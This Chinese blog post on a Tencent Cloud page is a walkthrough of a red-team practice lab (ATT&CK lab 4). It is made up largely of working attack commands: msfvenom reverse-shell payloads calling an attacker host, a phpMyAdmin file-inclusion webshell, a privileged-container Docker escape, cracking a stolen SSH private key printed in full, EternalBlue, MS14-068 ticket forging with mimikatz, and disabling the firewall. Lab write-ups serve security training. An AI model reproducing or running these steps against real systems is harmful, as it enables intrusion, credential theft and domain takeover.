前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ATT&CK红队评估实战靶场四

ATT&CK红队评估实战靶场四

作者头像
MssnHarvey
发布2022-12-05 15:29:18
7800
发布2022-12-05 15:29:18
举报
文章被收录于专栏:HarveyHarvey

机器密码

  • ubuntu:ubuntu
  • douser:Dotest123
  • administrator:Test2008 -> Harvey@2022

配置 web 192.168.205.130 192.168.150.132 win7 192.168.205.128 DC 192.168.205.131 kali攻击机 192.168.150.128

准备工作

将web靶机和kali攻击机的网络适配器设为NAT;将web、win7、DC靶机的网络适配器设为自定义(VMnet1)

然后web靶机启动环境

代码语言:javascript
复制
sudo docker start ec 17 09 bb da 3d ab ad

信息收集

扫描一下存活主机和端口,发现开放了22、2001、2002、2003端口

其中2001端口存在Struts2中间件

2002端口存在Apache Tomcat中间件

2003端口存在Apache、PHPmyadmin、mysql,不需要密码就可以进入phpmyadmin后台

漏洞利用

这三个都可以漏洞利用实现getshell

首先通过Struts2漏洞检查工具进行检测和利用

接着利用漏洞上传msf马

代码语言:javascript
复制
# 生成msf马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.150.128 LPORT=4444 -f jsp > shell.jsp

msf启动监听

代码语言:javascript
复制
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.150.128
exploit
访问马

然后是Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

接着是phpmyadmin 4.8.1 远程文件包含漏洞

代码语言:javascript
复制
/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
代码语言:javascript
复制
# 插入一句话木马
select '<?php file_put_contents("shell.php", "<?php @eval(\$_POST[1]);?>");?>';
# 命令go后F12查看phpMyAdmin的value值
/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_31894eca7b1c7143dad90cd068b167a1 

docker逃逸

由于不是完整的shell,这里我们使用pyhton中的pty模块反弹一个完整的shell环境

代码语言:javascript
复制
python -c 'import pty; pty.spawn("/bin/bash")'

进入后进行信息收集

判断是否为docker环境

代码语言:javascript
复制
# 查看.dockerenv 文件,查询系统进程的cgroup信息
# 判断根目录下是否存在 .dockerenv 文件 
ls -alh /.dockerenv
# 查看系统的cgroup系统,看是否有docker字样
cat /proc/1/cgroup

发现为docker环境,于是想到docker逃逸

先尝试一下利用dirty cow来进行docker逃逸,这种利用方法利用成功的前提是宿主机的内核有dirty cow漏洞

代码语言:javascript
复制
git clone https://github.com/scumjr/dirtycow-vdso.git
cd dirtycow-vdso
make

在目标主机上无法进行make编译,所以我们只能在攻击机kali上编译之后再起个web服务

反弹shell到指定主机的指定端口,但是利用失败了,说明不存在dirtycow漏洞

代码语言:javascript
复制
wget http://192.168.150.128/0xdeadbeef
chmod +x 0xdeadbeef
./0xdeadbeef 192.168.150.128 4444

于是换个方式进行docker逃逸,利用特权模式进行逃逸

管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载,这就导致我们可以获取大量设备文件访问权限

代码语言:javascript
复制
# 查看磁盘文件(Struts2获得的shell磁盘文件为空无法利用,可以通过Tomcat的进行利用)
fdisk -l
# 创建一个文件夹,将宿主机根目录挂载至容器目录下
cd /test
mkdir /test
mount /dev/sda1 /test
代码语言:javascript
复制
# 将id_rsa复制下来
cd home/ubuntu/.ssh
cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6DC4277EB4DC1AF7B2C02CAD8F8E85E2

OnKLlXLp+VZ0pH/2lC1/m6/gFViUBJV8I4YugGWShDjmOZ8vpsC/q+vUDtH5pkkj
uFu237oUmhvmtCpSuhHaEVu+URPMh/0v7SnVTJzPvXAyRzZrHlK2UKuyHNuP/CDC
R+yVqQZ00xC6Rej2atOP9mONmNnhLIhQkoolfRrBDV5DCznHO1i7m/CgQ4Qf/LrM
FhfmQJ6suEXx+AAhoK+Wk0OqUwgSqM09FPJE1FvdFy/FGgKx4OzGWPn7VBd/EkpL
3v/AENs/RVCDouRs9lUrZj7OD3BejcUgPfzBZ5v57VjMcbyhGsCtyhfLyoRDuxr/
XutUzlqI94AVqTDdQtpRqOiKI6mSWK9i+hqwk1MNukZKp+2+48m6fb/AMjG4mjnQ
QcNSQwuBryfQxILMVUsOvyfNT2dafn4Q77QLV9rZY6k73wdaGF2RuBwnkZpEtpau
Y2Q2rUAVHl2x3UW3F3NngIWYQ8kU/Usd5hUiFicWAkdVJi2GnFemPpUGBKQgQdEz
JPoUtXJSkZX5l7hxfoGse+268+qdLIHFBprPoU8JH1D4aTPG7HhJv574yxDcaRuW
TUhqhTWoEq5ZkD9tJwPC6u6t/3XwHvx8OjsvCh8AiM75m0XV8Du91Q3bjmt7TzDB
bGuh+1kHXB6QKFwuQ/9v2Litxg5lNDTve5CZMrQlATyi/RWE1eyujxpnbFOL1TmH
6LHinYX4I1bWA2O3rFzBn9vj0aikVa/3aYT9rsHRu7MeNzkQBbtukkzuM7G7ZcuI
/AYbTKq2o7JHhO3rbiOcd22g6ME80JhVlXUNlJPk20u+RescgJKJ7RTLcLiqy08Q
Hepnetq8ijwmRl7DYYDTBry30HpD/JdBbL6OsstGj+uSM50okPGN+9fNemDzITfW
Dj9aN8kHZfIxQxvlx0eK28Kxe7oF/NAIvpV3Exm7zBooBzNqHM3HkphZHwjKSWWN
sZsW4d1VuTRLapTQRYPtOAS5ZCH6tVDIvQU9g8ksxQb5a/MSXU0NUMBnm4WOgt+T
55txs6Plcys+GCLzdD/7EeFiuNlIZ4eyQCBC8jN4azPm+ZWOR+P3zHLPRyTGhm8Y
JHr0aGgIbJ4Qm+JGrz0cIA3No5FciEtPxq1hAkstn93ZBeXkpIGtyI3CrfPdLSo1
l6Ki1V/Uj+rLq3IqLi4anxVZ15EK+xED2Ql3F7GeWZ1SN69wCPvniSPrpK/0hPbj
bO7sWbxBJO26o2kog451oyr0i32xEXrhfaurdCCjWIruC/eFY/b6ANNI5a34Uks3
fXhZLC2q2wnTh/02wzKoWZkfiams/PqiUPHYncp6DQ8D2dHOup3Kr28nNJR+sdUX
m/FXcuyargJYyJ0ChyIb+1RnmcLIedxX/m8Nmy+FKb8d36ailr9al2f0HcKNPfv8
a8FhDStxj2lDUzbdp4q0cqq5Ys6MkTyY6eoxEqGqaqj2EeKnqzd4NydW8bTHfzFo
ml853a7WQEIcH8g+3RX1HvmXP+PgQBZvqksFMthqCPb/8jGC6zjj0//VJSrfpyaC
SfxA7VOc8I1Wpg2rYC1e336DdxIF1PYUqxYKPtMe+vc5S24V6Nuttvkfrtv3MTW8
-----END RSA PRIVATE KEY-----
代码语言:javascript
复制
vim id_rsa
# 将其复制进来保存退出
/usr/share/john/ssh2john.py /root/id_rsa > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
# 得到密码ubuntu
ssh ubuntu@192.168.150.132

切换为root

通过msf生成shell马并起个web服务

代码语言:javascript
复制
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.150.133 LPORT=4444 -f elf > shell1.elf
python -m http.server 80

上传至ubuntu并运行

代码语言:javascript
复制
wget http://192.168.150.133/shell1.elf
chmod 777 shell1.elf
./shell1.elf

msf启动监听

代码语言:javascript
复制
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.150.133
run

内网渗透

信息收集一下基本确定205是内网段了

接着上传fscan

代码语言:javascript
复制
wget http://192.168.150.133/fscan
chmod +x fscan
./fscan -h 192.168.205.0/24

关键信息如下

代码语言:javascript
复制
# 如果没打MS14-068的补丁就可以打一下
192.168.205.131:88 open

[*] WebTitle: http://192.168.205.1      code:200 len:2307   title:站点创建成功-phpstudy for windows
[*] NetBios: 192.168.205.131 [+]DC WIN-ENS2VR5TR3N.demo.com      Windows Server 2008 HPC Edition 7601 Service Pack 1
[+] 192.168.205.128     MS17-010        (Windows 7 Enterprise 7601 Service Pack 1)
[+] 192.168.205.131     MS17-010        (Windows Server 2008 HPC Edition 7601 Service Pack 1)

接着通过frp建立代理

代码语言:javascript
复制
wget http://192.168.150.133/frp.tar.gz
tar -zxvf frp.tar.gz
chmod +x frp_0.45.0_linux_amd64
cd frp_0.45.0_linux_amd64

vim frpc.ini
# 修改如下
[common]
server_addr = 192.168.150.133
server_port = 7000

[socks_proxy]
type = tcp
remote_port = 8989
plugin = socks5

# 运行
./frpc -c ./frpc.ini &
代码语言:javascript
复制
./frps -c ./frps.ini

curl一下进行测试

接着就可以通过msf使用永恒之蓝进行攻击了

代码语言:javascript
复制
setg proxies socks5:127.0.0.1:12345
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.205.128
run

这里可能需要等待一会

用猕猴桃抓一下这台win7的密码,得到密码:Dotest123

然后可以进shell查看一些信息

sid需要我们先登录到域用户,迁移到域权限的一个进程上去

从而得到sid:S-1-5-21-979886063-1111900045-1414766810-1107

接着通过注册表开启3389,我们通过远程桌面来打MS14-068

代码语言:javascript
复制
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

但是这里我们直接登录是不行的

于是我们需要先把它换成工作组,但是需要重启比较麻烦,这里就直接通过修改管理员密码并激活

代码语言:javascript
复制
net user administrator Admin1234
net user administrator /active:yes

不过远程桌面可能也会有些小问题

接着修改一下dns,然后ping一下demo.com

然后就可以通过工具直接打

代码语言:javascript
复制
# 生成票据:MS14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.205.131

再通过猕猴桃进行导入

代码语言:javascript
复制
mimikatz.exe
# ptc导入前面生成的文件
kerberos::ptc TGT_douser@demo.com.ccache
# 得到票据
kerberos::list
exit

接着再访问一下域控,并尝试访问它的C盘

代码语言:javascript
复制
klist
net view
dir \\WIN-ENS2VR5TR3N\C$

然后用psexec64来获取目标的shell

代码语言:javascript
复制
PsExec64.exe /accepteula /s \\WIN-ENS2VR5TR3N cmd

根据前面fscan扫到的可以再来打一下永恒之蓝

但是失败了,猜测开有防火墙,于是用下面这个命令关闭防火墙

代码语言:javascript
复制
netsh advfirewall set allprofiles state off

最后就可以成功打进去了

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-12-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 准备工作
  • 信息收集
  • 漏洞利用
  • docker逃逸
  • 内网渗透
相关产品与服务
容器镜像服务
容器镜像服务(Tencent Container Registry,TCR)为您提供安全独享、高性能的容器镜像托管分发服务。您可同时在全球多个地域创建独享实例,以实现容器镜像的就近拉取,降低拉取时间,节约带宽成本。TCR 提供细颗粒度的权限管理及访问控制,保障您的数据安全。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档